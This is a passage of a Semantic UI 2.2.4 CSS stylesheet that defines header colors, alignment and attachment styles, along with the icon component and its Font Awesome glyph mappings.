  color: #54C8FF !important;
}

a.ui.inverted.blue.header:hover {
  color: #3ac0ff !important;
}

/*--- Violet ---*/

.ui.violet.header {
  color: #6435C9 !important;
}

a.ui.violet.header:hover {
  color: #5829bb !important;
}

.ui.violet.dividing.header {
  border-bottom: 2px solid #6435C9;
}

/* Inverted */

.ui.inverted.violet.header {
  color: #A291FB !important;
}

a.ui.inverted.violet.header:hover {
  color: #8a73ff !important;
}

/*--- Purple ---*/

.ui.purple.header {
  color: #A333C8 !important;
}

a.ui.purple.header:hover {
  color: #9627ba !important;
}

.ui.purple.dividing.header {
  border-bottom: 2px solid #A333C8;
}

/* Inverted */

.ui.inverted.purple.header {
  color: #DC73FF !important;
}

a.ui.inverted.purple.header:hover {
  color: #d65aff !important;
}

/*--- Pink ---*/

.ui.pink.header {
  color: #E03997 !important;
}

a.ui.pink.header:hover {
  color: #e61a8d !important;
}

.ui.pink.dividing.header {
  border-bottom: 2px solid #E03997;
}

/* Inverted */

.ui.inverted.pink.header {
  color: #FF8EDF !important;
}

a.ui.inverted.pink.header:hover {
  color: #ff74d8 !important;
}

/*--- Brown ---*/

.ui.brown.header {
  color: #A5673F !important;
}

a.ui.brown.header:hover {
  color: #975b33 !important;
}

.ui.brown.dividing.header {
  border-bottom: 2px solid #A5673F;
}

/* Inverted */

.ui.inverted.brown.header {
  color: #D67C1C !important;
}

a.ui.inverted.brown.header:hover {
  color: #c86f11 !important;
}

/*--- Grey ---*/

.ui.grey.header {
  color: #767676 !important;
}

a.ui.grey.header:hover {
  color: #838383 !important;
}

.ui.grey.dividing.header {
  border-bottom: 2px solid #767676;
}

/* Inverted */

.ui.inverted.grey.header {
  color: #DCDDDE !important;
}

a.ui.inverted.grey.header:hover {
  color: #cfd0d2 !important;
}

/*-------------------
       Aligned
--------------------*/

.ui.left.aligned.header {
  text-align: left;
}

.ui.right.aligned.header {
  text-align: right;
}

.ui.centered.header,
.ui.center.aligned.header {
  text-align: center;
}

.ui.justified.header {
  text-align: justify;
}

.ui.justified.header:after {
  display: inline-block;
  content: '';
  width: 100%;
}

/*-------------------
       Floated
--------------------*/

.ui.floated.header,
.ui[class*="left floated"].header {
  float: left;
  margin-top: 0em;
  margin-right: 0.5em;
}

.ui[class*="right floated"].header {
  float: right;
  margin-top: 0em;
  margin-left: 0.5em;
}

/*-------------------
       Fitted
--------------------*/

.ui.fitted.header {
  padding: 0em;
}

/*-------------------
      Dividing
--------------------*/

.ui.dividing.header {
  padding-bottom: 0.21428571rem;
  border-bottom: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.dividing.header .sub.header {
  padding-bottom: 0.21428571rem;
}

.ui.dividing.header .icon {
  margin-bottom: 0em;
}

.ui.inverted.dividing.header {
  border-bottom-color: rgba(255, 255, 255, 0.1);
}

/*-------------------
        Block
--------------------*/

.ui.block.header {
  background: #F3F4F5;
  padding: 0.78571429rem 1rem;
  box-shadow: none;
  border: 1px solid #D4D4D5;
  border-radius: 0.28571429rem;
}

.ui.tiny.block.header {
  font-size: 0.85714286rem;
}

.ui.small.block.header {
  font-size: 0.92857143rem;
}

.ui.block.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {
  font-size: 1rem;
}

.ui.large.block.header {
  font-size: 1.14285714rem;
}

.ui.huge.block.header {
  font-size: 1.42857143rem;
}

/*-------------------
       Attached
--------------------*/

.ui.attached.header {
  background: #FFFFFF;
  padding: 0.78571429rem 1rem;
  margin-left: -1px;
  margin-right: -1px;
  box-shadow: none;
  border: 1px solid #D4D4D5;
}

.ui.attached.block.header {
  background: #F3F4F5;
}

.ui.attached:not(.top):not(.bottom).header {
  margin-top: 0em;
  margin-bottom: 0em;
  border-top: none;
  border-radius: 0em;
}

.ui.top.attached.header {
  margin-bottom: 0em;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.bottom.attached.header {
  margin-top: 0em;
  border-top: none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

/* Attached Sizes */

.ui.tiny.attached.header {
  font-size: 0.85714286em;
}

.ui.small.attached.header {
  font-size: 0.92857143em;
}

.ui.attached.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {
  font-size: 1em;
}

.ui.large.attached.header {
  font-size: 1.14285714em;
}

.ui.huge.attached.header {
  font-size: 1.42857143em;
}

/*-------------------
        Sizing
--------------------*/

.ui.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6) {
  font-size: 1.28em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Icon
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Icon
*******************************/

@font-face {
  font-family: 'Icons';
  src: url("./themes/default/assets/fonts/icons.eot");
  src: url("./themes/default/assets/fonts/icons.eot?#iefix") format('embedded-opentype'), url("./themes/default/assets/fonts/icons.woff2") format('woff2'), url("./themes/default/assets/fonts/icons.woff") format('woff'), url("./themes/default/assets/fonts/icons.ttf") format('truetype'), url("./themes/default/assets/fonts/icons.svg#icons") format('svg');
  font-style: normal;
  font-weight: normal;
  font-variant: normal;
  text-decoration: inherit;
  text-transform: none;
}

i.icon {
  display: inline-block;
  opacity: 1;
  margin: 0em 0.25rem 0em 0em;
  width: 1.18em;
  height: 1em;
  font-family: 'Icons';
  font-style: normal;
  font-weight: normal;
  text-decoration: inherit;
  text-align: center;
  speak: none;
  font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  -webkit-font-smoothing: antialiased;
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
}

i.icon:before {
  background: none !important;
}

/*******************************
             Types
*******************************/

/*--------------
    Loading
---------------*/

i.icon.loading {
  height: 1em;
  line-height: 1;
  -webkit-animation: icon-loading 2s linear infinite;
  animation: icon-loading 2s linear infinite;
}

@-webkit-keyframes icon-loading {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes icon-loading {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

/*******************************
             States
*******************************/

i.icon.hover {
  opacity: 1 !important;
}

i.icon.active {
  opacity: 1 !important;
}

i.emphasized.icon {
  opacity: 1 !important;
}

i.disabled.icon {
  opacity: 0.45 !important;
}

/*******************************
           Variations
*******************************/

/*-------------------
        Fitted
--------------------*/

i.fitted.icon {
  width: auto;
  margin: 0em;
}

/*-------------------
         Link
--------------------*/

i.link.icon,
i.link.icons {
  cursor: pointer;
  opacity: 0.8;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

i.link.icon:hover,
i.link.icons:hover {
  opacity: 1 !important;
}

/*-------------------
      Circular
--------------------*/

i.circular.icon {
  border-radius: 500em !important;
  line-height: 1 !important;
  padding: 0.5em 0.5em !important;
  box-shadow: 0em 0em 0em 0.1em rgba(0, 0, 0, 0.1) inset;
  width: 2em !important;
  height: 2em !important;
}

i.circular.inverted.icon {
  border: none;
  box-shadow: none;
}

/*-------------------
      Flipped
--------------------*/

i.flipped.icon,
i.horizontally.flipped.icon {
  -webkit-transform: scale(-1, 1);
  -ms-transform: scale(-1, 1);
  transform: scale(-1, 1);
}

i.vertically.flipped.icon {
  -webkit-transform: scale(1, -1);
  -ms-transform: scale(1, -1);
  transform: scale(1, -1);
}

/*-------------------
      Rotated
--------------------*/

i.rotated.icon,
i.right.rotated.icon,
i.clockwise.rotated.icon {
  -webkit-transform: rotate(90deg);
  -ms-transform: rotate(90deg);
  transform: rotate(90deg);
}

i.left.rotated.icon,
i.counterclockwise.rotated.icon {
  -webkit-transform: rotate(-90deg);
  -ms-transform: rotate(-90deg);
  transform: rotate(-90deg);
}

/*-------------------
      Bordered
--------------------*/

i.bordered.icon {
  line-height: 1;
  vertical-align: baseline;
  width: 2em;
  height: 2em;
  padding: 0.5em 0.41em !important;
  box-shadow: 0em 0em 0em 0.1em rgba(0, 0, 0, 0.1) inset;
}

i.bordered.inverted.icon {
  border: none;
  box-shadow: none;
}

/*-------------------
      Inverted
--------------------*/

/* Inverted Shapes */

i.inverted.bordered.icon,
i.inverted.circular.icon {
  background-color: #1B1C1D !important;
  color: #FFFFFF !important;
}

i.inverted.icon {
  color: #FFFFFF;
}

/*-------------------
       Colors
--------------------*/

/* Red */

i.red.icon {
  color: #DB2828 !important;
}

i.inverted.red.icon {
  color: #FF695E !important;
}

i.inverted.bordered.red.icon,
i.inverted.circular.red.icon {
  background-color: #DB2828 !important;
  color: #FFFFFF !important;
}

/* Orange */

i.orange.icon {
  color: #F2711C !important;
}

i.inverted.orange.icon {
  color: #FF851B !important;
}

i.inverted.bordered.orange.icon,
i.inverted.circular.orange.icon {
  background-color: #F2711C !important;
  color: #FFFFFF !important;
}

/* Yellow */

i.yellow.icon {
  color: #FBBD08 !important;
}

i.inverted.yellow.icon {
  color: #FFE21F !important;
}

i.inverted.bordered.yellow.icon,
i.inverted.circular.yellow.icon {
  background-color: #FBBD08 !important;
  color: #FFFFFF !important;
}

/* Olive */

i.olive.icon {
  color: #B5CC18 !important;
}

i.inverted.olive.icon {
  color: #D9E778 !important;
}

i.inverted.bordered.olive.icon,
i.inverted.circular.olive.icon {
  background-color: #B5CC18 !important;
  color: #FFFFFF !important;
}

/* Green */

i.green.icon {
  color: #21BA45 !important;
}

i.inverted.green.icon {
  color: #2ECC40 !important;
}

i.inverted.bordered.green.icon,
i.inverted.circular.green.icon {
  background-color: #21BA45 !important;
  color: #FFFFFF !important;
}

/* Teal */

i.teal.icon {
  color: #00B5AD !important;
}

i.inverted.teal.icon {
  color: #6DFFFF !important;
}

i.inverted.bordered.teal.icon,
i.inverted.circular.teal.icon {
  background-color: #00B5AD !important;
  color: #FFFFFF !important;
}

/* Blue */

i.blue.icon {
  color: #2185D0 !important;
}

i.inverted.blue.icon {
  color: #54C8FF !important;
}

i.inverted.bordered.blue.icon,
i.inverted.circular.blue.icon {
  background-color: #2185D0 !important;
  color: #FFFFFF !important;
}

/* Violet */

i.violet.icon {
  color: #6435C9 !important;
}

i.inverted.violet.icon {
  color: #A291FB !important;
}

i.inverted.bordered.violet.icon,
i.inverted.circular.violet.icon {
  background-color: #6435C9 !important;
  color: #FFFFFF !important;
}

/* Purple */

i.purple.icon {
  color: #A333C8 !important;
}

i.inverted.purple.icon {
  color: #DC73FF !important;
}

i.inverted.bordered.purple.icon,
i.inverted.circular.purple.icon {
  background-color: #A333C8 !important;
  color: #FFFFFF !important;
}

/* Pink */

i.pink.icon {
  color: #E03997 !important;
}

i.inverted.pink.icon {
  color: #FF8EDF !important;
}

i.inverted.bordered.pink.icon,
i.inverted.circular.pink.icon {
  background-color: #E03997 !important;
  color: #FFFFFF !important;
}

/* Brown */

i.brown.icon {
  color: #A5673F !important;
}

i.inverted.brown.icon {
  color: #D67C1C !important;
}

i.inverted.bordered.brown.icon,
i.inverted.circular.brown.icon {
  background-color: #A5673F !important;
  color: #FFFFFF !important;
}

/* Grey */

i.grey.icon {
  color: #767676 !important;
}

i.inverted.grey.icon {
  color: #DCDDDE !important;
}

i.inverted.bordered.grey.icon,
i.inverted.circular.grey.icon {
  background-color: #767676 !important;
  color: #FFFFFF !important;
}

/* Black */

i.black.icon {
  color: #1B1C1D !important;
}

i.inverted.black.icon {
  color: #545454 !important;
}

i.inverted.bordered.black.icon,
i.inverted.circular.black.icon {
  background-color: #1B1C1D !important;
  color: #FFFFFF !important;
}

/*-------------------
        Sizes
--------------------*/

i.mini.icon,
i.mini.icons {
  line-height: 1;
  font-size: 0.4em;
}

i.tiny.icon,
i.tiny.icons {
  line-height: 1;
  font-size: 0.5em;
}

i.small.icon,
i.small.icons {
  line-height: 1;
  font-size: 0.75em;
}

i.icon,
i.icons {
  font-size: 1em;
}

i.large.icon,
i.large.icons {
  line-height: 1;
  vertical-align: middle;
  font-size: 1.5em;
}

i.big.icon,
i.big.icons {
  line-height: 1;
  vertical-align: middle;
  font-size: 2em;
}

i.huge.icon,
i.huge.icons {
  line-height: 1;
  vertical-align: middle;
  font-size: 4em;
}

i.massive.icon,
i.massive.icons {
  line-height: 1;
  vertical-align: middle;
  font-size: 8em;
}

/*******************************
            Groups
*******************************/

i.icons {
  display: inline-block;
  position: relative;
  line-height: 1;
}

i.icons .icon {
  position: absolute;
  top: 50%;
  left: 50%;
  -webkit-transform: translateX(-50%) translateY(-50%);
  -ms-transform: translateX(-50%) translateY(-50%);
  transform: translateX(-50%) translateY(-50%);
  margin: 0em;
  margin: 0;
}

i.icons .icon:first-child {
  position: static;
  width: auto;
  height: auto;
  vertical-align: top;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  margin-right: 0.25rem;
}

/* Corner Icon */

i.icons .corner.icon {
  top: auto;
  left: auto;
  right: 0;
  bottom: 0;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
  font-size: 0.45em;
  text-shadow: -1px -1px 0 #FFFFFF, 1px -1px 0 #FFFFFF, -1px 1px 0 #FFFFFF, 1px 1px 0 #FFFFFF;
}

i.icons .inverted.corner.icon {
  text-shadow: -1px -1px 0 #1B1C1D, 1px -1px 0 #1B1C1D, -1px 1px 0 #1B1C1D, 1px 1px 0 #1B1C1D;
}

/*
 * Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome
 * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
 */

/*******************************

Semantic-UI integration of font-awesome :

///class names are separated
i.icon.circle => i.icon.circle
i.icon.circle-o => i.icon.circle.outline

//abbreviation are replaced by full letters:
i.icon.ellipsis-h => i.icon.ellipsis.horizontal
i.icon.ellipsis-v => i.icon.ellipsis.vertical
.alpha => .i.icon.alphabet
.asc => .i.icon.ascending
.desc => .i.icon.descending
.alt =>.alternate

ASCII order is conserved for easier maintenance.

Icons that only have one style 'outline', 'square' etc do not require this class
for instance `lemon icon` not `lemon outline icon` since there is only one lemon

*******************************/

/*******************************
            Icons
*******************************/

/* Web Content */

i.icon.search:before {
  content: "\f002";
}

i.icon.mail.outline:before {
  content: "\f003";
}

i.icon.signal:before {
  content: "\f012";
}

i.icon.setting:before {
  content: "\f013";
}

i.icon.home:before {
  content: "\f015";
}

i.icon.inbox:before {
  content: "\f01c";
}

i.icon.browser:before {
  content: "\f022";
}

i.icon.tag:before {
  content: "\f02b";
}

i.icon.tags:before {
  content: "\f02c";
}

i.icon.image:before {
  content: "\f03e";
}

i.icon.calendar:before {
  content: "\f073";
}

i.icon.comment:before {
  content: "\f075";
}

i.icon.shop:before {
  content: "\f07a";
}

i.icon.comments:before {
  content: "\f086";
}

i.icon.external:before {
  content: "\f08e";
}

i.icon.privacy:before {
  content: "\f084";
}

i.icon.settings:before {
  content: "\f085";
}

i.icon.comments:before {
  content: "\f086";
}

i.icon.external:before {
  content: "\f08e";
}

i.icon.trophy:before {
  content: "\f091";
}

i.icon.payment:before {
  content: "\f09d";
}

i.icon.feed:before {
  content: "\f09e";
}

i.icon.alarm.outline:before {
  content: "\f0a2";
}

i.icon.tasks:before {
  content: "\f0ae";
}

i.icon.cloud:before {
  content: "\f0c2";
}

i.icon.lab:before {
  content: "\f0c3";
}

i.icon.mail:before {
  content: "\f0e0";
}

i.icon.dashboard:before {
  content: "\f0e4";
}

i.icon.comment.outline:before {
  content: "\f0e5";
}

i.icon.comments.outline:before {
  content: "\f0e6";
}

i.icon.sitemap:before {
  content: "\f0e8";
}

i.icon.idea:before {
  content: "\f0eb";
}

i.icon.alarm:before {
  content: "\f0f3";
}

i.icon.terminal:before {
  content: "\f120";
}

i.icon.code:before {
  content: "\f121";
}

i.icon.protect:before {
  content: "\f132";
}

i.icon.calendar.outline:before {
  content: "\f133";
}

i.icon.ticket:before {
  content: "\f145";
}

i.icon.external.square:before {
  content: "\f14c";
}

i.icon.bug:before {
  content: "\f188";
}

i.icon.mail.square:before {
  content: "\f199";
}

i.icon.history:before {
  content: "\f1da";
}

i.icon.options:before {
  content: "\f1de";
}

i.icon.text.telephone:before {
  content: "\f1e4";
}

i.icon.find:before {
  content: "\f1e5";
}

i.icon.wifi:before {
  content: "\f1eb";
}

i.icon.alarm.mute:before {
  content: "\f1f6";
}

i.icon.alarm.mute.outline:before {
  content: "\f1f7";
}

i.icon.copyright:before {
  content: "\f1f9";
}

i.icon.at:before {
  content: "\f1fa";
}

i.icon.eyedropper:before {
  content: "\f1fb";
}

i.icon.paint.brush:before {
  content: "\f1fc";
}

i.icon.heartbeat:before {
  content: "\f21e";
}

i.icon.mouse.pointer:before {
  content: "\f245";
}

i.icon.hourglass.empty:before {
  content: "\f250";
}

i.icon.hourglass.start:before {
  content: "\f251";
}

i.icon.hourglass.half:before {
  content: "\f252";
}

i.icon.hourglass.end:before {
  content: "\f253";
}

i.icon.hourglass.full:before {
  content: "\f254";
}

i.icon.hand.pointer:before {
  content: "\f25a";
}

i.icon.trademark:before {
  content: "\f25c";
}

i.icon.registered:before {
  content: "\f25d";
}

i.icon.creative.commons:before {
  content: "\f25e";
}

i.icon.add.to.calendar:before {
  content: "\f271";
}

i.icon.remove.from.calendar:before {
  content: "\f272";
}

i.icon.delete.calendar:before {
  content: "\f273";
}

i.icon.checked.calendar:before {
  content: "\f274";
}

i.icon.industry:before {
  content: "\f275";
}

i.icon.shopping.bag:before {
  content: "\f290";
}

i.icon.shopping.basket:before {
  content: "\f291";
}

i.icon.hashtag:before {
  content: "\f292";
}

i.icon.percent:before {
  content: "\f295";
}

/* User Actions */

i.icon.wait:before {
  content: "\f017";
}

i.icon.download:before {
  content: "\f019";
}

i.icon.repeat:before {
  content: "\f01e";
}

i.icon.refresh:before {
  content: "\f021";
}

i.icon.lock:before {
  content: "\f023";
}

i.icon.bookmark:before {
  content: "\f02e";
}

i.icon.print:before {
  content: "\f02f";
}

i.icon.write:before {
  content: "\f040";
}

i.icon.adjust:before {
  content: "\f042";
}

i.icon.theme:before {
  content: "\f043";
}

i.icon.edit:before {
  content: "\f044";
}

i.icon.external.share:before {
  content: "\f045";
}

i.icon.ban:before {
  content: "\f05e";
}

i.icon.mail.forward:before {
  content: "\f064";
}

i.icon.share:before {
  content: "\f064";
}

i.icon.expand:before {
  content: "\f065";
}

i.icon.compress:before {
  content: "\f066";
}

i.icon.unhide:before {
  content: "\f06e";
}

i.icon.hide:before {
  content: "\f070";
}

i.icon.random:before {
  content: "\f074";
}

i.icon.retweet:before {
  content: "\f079";
}

i.icon.sign.out:before {
  content: "\f08b";
}

i.icon.pin:before {
  content: "\f08d";
}

i.icon.sign.in:before {
  content: "\f090";
}

i.icon.upload:before {
  content: "\f093";
}

i.icon.call:before {
  content: "\f095";
}

i.icon.remove.bookmark:before {
  content: "\f097";
}

i.icon.call.square:before {
  content: "\f098";
}

i.icon.unlock:before {
  content: "\f09c";
}

i.icon.configure:before {
  content: "\f0ad";
}

i.icon.filter:before {
  content: "\f0b0";
}

i.icon.wizard:before {
  content: "\f0d0";
}

i.icon.undo:before {
  content: "\f0e2";
}

i.icon.exchange:before {
  content: "\f0ec";
}

i.icon.cloud.download:before {
  content: "\f0ed";
}

i.icon.cloud.upload:before {
  content: "\f0ee";
}

i.icon.reply:before {
  content: "\f112";
}

i.icon.reply.all:before {
  content: "\f122";
}

i.icon.erase:before {
  content: "\f12d";
}

i.icon.unlock.alternate:before {
  content: "\f13e";
}

i.icon.write.square:before {
  content: "\f14b";
}

i.icon.share.square:before {
  content: "\f14d";
}

i.icon.archive:before {
  content: "\f187";
}

i.icon.translate:before {
  content: "\f1ab";
}

i.icon.recycle:before {
  content: "\f1b8";
}

i.icon.send:before {
  content: "\f1d8";
}

i.icon.send.outline:before {
  content: "\f1d9";
}

i.icon.share.alternate:before {
  content: "\f1e0";
}

i.icon.share.alternate.square:before {
  content: "\f1e1";
}

i.icon.add.to.cart:before {
  content: "\f217";
}

i.icon.in.cart:before {
  content: "\f218";
}

i.icon.add.user:before {
  content: "\f234";
}

i.icon.remove.user:before {
  content: "\f235";
}

i.icon.object.group:before {
  content: "\f247";
}

i.icon.object.ungroup:before {
  content: "\f248";
}

i.icon.clone:before {
  content: "\f24d";
}

i.icon.talk:before {
  content: "\f27a";
}

i.icon.talk.outline:before {
  content: "\f27b";
}

/* Messages */

i.icon.help.circle:before {
  content: "\f059";
}

i.icon.info.circle:before {
  content: "\f05a";
}

i.icon.warning.circle:before {
  content: "\f06a";
}

i.icon.warning.sign:before {
  content: "\f071";
}

i.icon.announcement:before {
  content: "\f0a1";
}

i.icon.help:before {
  content: "\f128";
}

i.icon.info:before {
  content: "\f129";
}

i.icon.warning:before {
  content: "\f12a";
}

i.icon.birthday:before {
  content: "\f1fd";
}

i.icon.help.circle.outline:before {
  content: "\f29c";
}

/* Users */

i.icon.user:before {
  content: "\f007";
}

i.icon.users:before {
  content: "\f0c0";
}

i.icon.doctor:before {
  content: "\f0f0";
}

i.icon.handicap:before {
  content: "\f193";
}

i.icon.student:before {
  content: "\f19d";
}

i.icon.child:before {
  content: "\f1ae";
}

i.icon.spy:before {
  content: "\f21b";
}

/* Gender & Sexuality */

i.icon.female:before {
  content: "\f182";
}

i.icon.male:before {
  content: "\f183";
}

i.icon.woman:before {
  content: "\f221";
}

i.icon.man:before {
  content: "\f222";
}

i.icon.non.binary.transgender:before {
  content: "\f223";
}

i.icon.intergender:before {
  content: "\f224";
}

i.icon.transgender:before {
  content: "\f225";
}

i.icon.lesbian:before {
  content: "\f226";
}

i.icon.gay:before {
  content: "\f227";
}

i.icon.heterosexual:before {
  content: "\f228";
}

i.icon.other.gender:before {
  content: "\f229";
}

i.icon.other.gender.vertical:before {
  content: "\f22a";
}

i.icon.other.gender.horizontal:before {
  content: "\f22b";
}

i.icon.neuter:before {
  content: "\f22c";
}

i.icon.genderless:before {
  content: "\f22d";
}

/* Accessibility */

i.icon.universal.access:before {
  content: "\f29a";
}

i.icon.wheelchair:before {
  content: "\f29b";
}

i.icon.blind:before {
  content: "\f29d";
}

i.icon.audio.description:before {
  content: "\f29e";
}

i.icon.volume.control.phone:before {
  content: "\f2a0";
}

i.icon.braille:before {
  content: "\f2a1";
}

i.icon.asl:before {
  content: "\f2a3";
}

i.icon.assistive.listening.systems:before {
  content: "\f2a2";
}

i.icon.deafness:before {
  content: "\f2a4";
}

i.icon.sign.language:before {
  content: "\f2a7";
}

i.icon.low.vision:before {
  content: "\f2a8";
}

/* View Adjustment */

i.icon.block.layout:before {
  content: "\f009";
}

i.icon.grid.layout:before {
  content: "\f00a";
}

i.icon.list.layout:before {
  content: "\f00b";
}

i.icon.zoom:before {
  content: "\f00e";
}

i.icon.zoom.out:before {
  content: "\f010";
}

i.icon.resize.vertical:before {
  content: "\f07d";
}

i.icon.resize.horizontal:before {
  content: "\f07e";
}

i.icon.maximize:before {
  content: "\f0b2";
}

i.icon.crop:before {
  content: "\f125";
}

/* Literal Objects */

i.icon.cocktail:before {
  content: "\f000";
}

i.icon.road:before {
  content: "\f018";
}

i.icon.flag:before {
  content: "\f024";
}

i.icon.book:before {
  content: "\f02d";
}

i.icon.gift:before {
  content: "\f06b";
}

i.icon.leaf:before {
  content: "\f06c";
}

i.icon.fire:before {
  content: "\f06d";
}

i.icon.plane:before {
  content: "\f072";
}

i.icon.magnet:before {
  content: "\f076";
}

i.icon.lemon:before {
  content: "\f094";
}

i.icon.world:before {
  content: "\f0ac";
}

i.icon.travel:before {
  content: "\f0b1";
}

i.icon.shipping:before {
  content: "\f0d1";
}

i.icon.money:before {
  content: "\f0d6";
}

i.icon.legal:before {
  content: "\f0e3";
}

i.icon.lightning:before {
  content: "\f0e7";
}

i.icon.umbrella:before {
  content: "\f0e9";
}

i.icon.treatment:before {
  content: "\f0f1";
}

i.icon.suitcase:before {
  content: "\f0f2";
}

i.icon.bar:before {
  content: "\f0fc";
}

i.icon.flag.outline:before {
  content: "\f11d";
}

i.icon.flag.checkered:before {
  content: "\f11e";
}

i.icon.puzzle:before {
  content: "\f12e";
}

i.icon.fire.extinguisher:before {
  content: "\f134";
}

i.icon.rocket:before {
  content: "\f135";
}

i.icon.anchor:before {
  content: "\f13d";
}

i.icon.bullseye:before {
  content: "\f140";
}

i.icon.sun:before {
  content: "\f185";
}

i.icon.moon:before {
  content: "\f186";
}

i.icon.fax:before {
  content: "\f1ac";
}

i.icon.life.ring:before {
  content: "\f1cd";
}

i.icon.bomb:before {
  content: "\f1e2";
}

i.icon.soccer:before {
  content: "\f1e3";
}

i.icon.calculator:before {
  content: "\f1ec";
}

i.icon.diamond:before {
  content: "\f219";
}

i.icon.sticky.note:before {
  content: "\f249";
}

i.icon.sticky.note.outline:before {
  content: "\f24a";
}

i.icon.law:before {
  content: "\f24e";
}

i.icon.hand.peace:before {
  content: "\f25b";
}

i.icon.hand.rock:before {
  content: "\f255";
}

i.icon.hand.paper:before {
  content: "\f256";
}

i.icon.hand.scissors:before {
  content: "\f257";
}

i.icon.hand.lizard:before {
  content: "\f258";
}

i.icon.hand.spock:before {
  content: "\f259";
}

i.icon.tv:before {
  content: "\f26c";
}

/* Shapes */

i.icon.crosshairs:before {
  content: "\f05b";
}

i.icon.asterisk:before {
  content: "\f069";
}

i.icon.square.outline:before {
  content: "\f096";
}

i.icon.certificate:before {
  content: "\f0a3";
}

i.icon.square:before {
  content: "\f0c8";
}

i.icon.quote.left:before {
  content: "\f10d";
}

i.icon.quote.right:before {
  content: "\f10e";
}

i.icon.spinner:before {
  content: "\f110";
}

i.icon.circle:before {
  content: "\f111";
}

i.icon.ellipsis.horizontal:before {
  content: "\f141";
}

i.icon.ellipsis.vertical:before {
  content: "\f142";
}

i.icon.cube:before {
  content: "\f1b2";
}

i.icon.cubes:before {
  content: "\f1b3";
}

i.icon.circle.notched:before {
  content: "\f1ce";
}

i.icon.circle.thin:before {
  content: "\f1db";
}

/* Item Selection */

i.icon.checkmark:before {
  content: "\f00c";
}

i.icon.remove:before {
  content: "\f00d";
}

i.icon.checkmark.box:before {
  content: "\f046";
}

i.icon.move:before {
  content: "\f047";
}

i.icon.add.circle:before {
  content: "\f055";
}

i.icon.minus.circle:before {
  content: "\f056";
}

i.icon.remove.circle:before {
  content: "\f057";
}

i.icon.check.circle:before {
  content: "\f058";
}

i.icon.remove.circle.outline:before {
  content: "\f05c";
}

i.icon.check.circle.outline:before {
  content: "\f05d";
}

i.icon.plus:before {
  content: "\f067";
}

i.icon.minus:before {
  content: "\f068";
}

i.icon.add.square:before {
  content: "\f0fe";
}

i.icon.radio:before {
  content: "\f10c";
}

i.icon.minus.square:before {
  content: "\f146";
}

i.icon.minus.square.outline:before {
  content: "\f147";
}

i.icon.check.square:before {
  content: "\f14a";
}

i.icon.selected.radio:before {
  content: "\f192";
}

i.icon.plus.square.outline:before {
  content: "\f196";
}

i.icon.toggle.off:before {
  content: "\f204";
}

i.icon.toggle.on:before {
  content: "\f205";
}

/* Media */

i.icon.film:before {
  content: "\f008";
}

i.icon.sound:before {
  content: "\f025";
}

i.icon.photo:before {
  content: "\f030";
}

i.icon.bar.chart:before {
  content: "\f080";
}

i.icon.camera.retro:before {
  content: "\f083";
}

i.icon.newspaper:before {
  content: "\f1ea";
}

i.icon.area.chart:before {
  content: "\f1fe";
}

i.icon.pie.chart:before {
  content: "\f200";
}

i.icon.line.chart:before {
  content: "\f201";
}

/* Pointers */

i.icon.arrow.circle.outline.down:before {
  content: "\f01a";
}

i.icon.arrow.circle.outline.up:before {
  content: "\f01b";
}

i.icon.chevron.left:before {
  content: "\f053";
}

i.icon.chevron.right:before {
  content: "\f054";
}

i.icon.arrow.left:before {
  content: "\f060";
}

i.icon.arrow.right:before {
  content: "\f061";
}

i.icon.arrow.up:before {
  content: "\f062";
}

i.icon.arrow.down:before {
  content: "\f063";
}

i.icon.chevron.up:before {
  content: "\f077";
}

i.icon.chevron.down:before {
  content: "\f078";
}

i.icon.pointing.right:before {
  content: "\f0a4";
}

i.icon.pointing.left:before {
  content: "\f0a5";
}

i.icon.pointing.up:before {
  content: "\f0a6";
}

i.icon.pointing.down:before {
  content: "\f0a7";
}

i.icon.arrow.circle.left:before {
  content: "\f0a8";
}

i.icon.arrow.circle.right:before {
  content: "\f0a9";
}

i.icon.arrow.circle.up:before {
  content: "\f0aa";
}

i.icon.arrow.circle.down:before {
  content: "\f0ab";
}

i.icon.caret.down:before {
  content: "\f0d7";
}

i.icon.caret.up:before {
  content: "\f0d8";
}

i.icon.caret.left:before {
  content: "\f0d9";
}

i.icon.caret.right:before {
  content: "\f0da";
}

i.icon.angle.double.left:before {
  content: "\f100";
}

i.icon.angle.double.right:before {
  content: "\f101";
}

i.icon.angle.double.up:before {
  content: "\f102";
}

i.icon.angle.double.down:before {
  content: "\f103";
}

i.icon.angle.left:before {
  content: "\f104";
}

i.icon.angle.right:before {
  content: "\f105";
}

i.icon.angle.up:before {
  content: "\f106";
}

i.icon.angle.down:before {
  content: "\f107";
}

i.icon.chevron.circle.left:before {
  content: "\f137";
}

i.icon.chevron.circle.right:before {
  content: "\f138";
}

i.icon.chevron.circle.up:before {
  content: "\f139";
}

i.icon.chevron.circle.down:before {
  content: "\f13a";
}

i.icon.toggle.down:before {
  content: "\f150";
}

i.icon.toggle.up:before {
  content: "\f151";
}

i.icon.toggle.right:before {
  content: "\f152";
}

i.icon.long.arrow.down:before {
  content: "\f175";
}

i.icon.long.arrow.up:before {
  content: "\f176";
}

i.icon.long.arrow.left:before {
  content: "\f177";
}

i.icon.long.arrow.right:before {
  content: "\f178";
}

i.icon.arrow.circle.outline.right:before {
  content: "\f18e";
}

i.icon.arrow.circle.outline.left:before {
  content: "\f190";
}

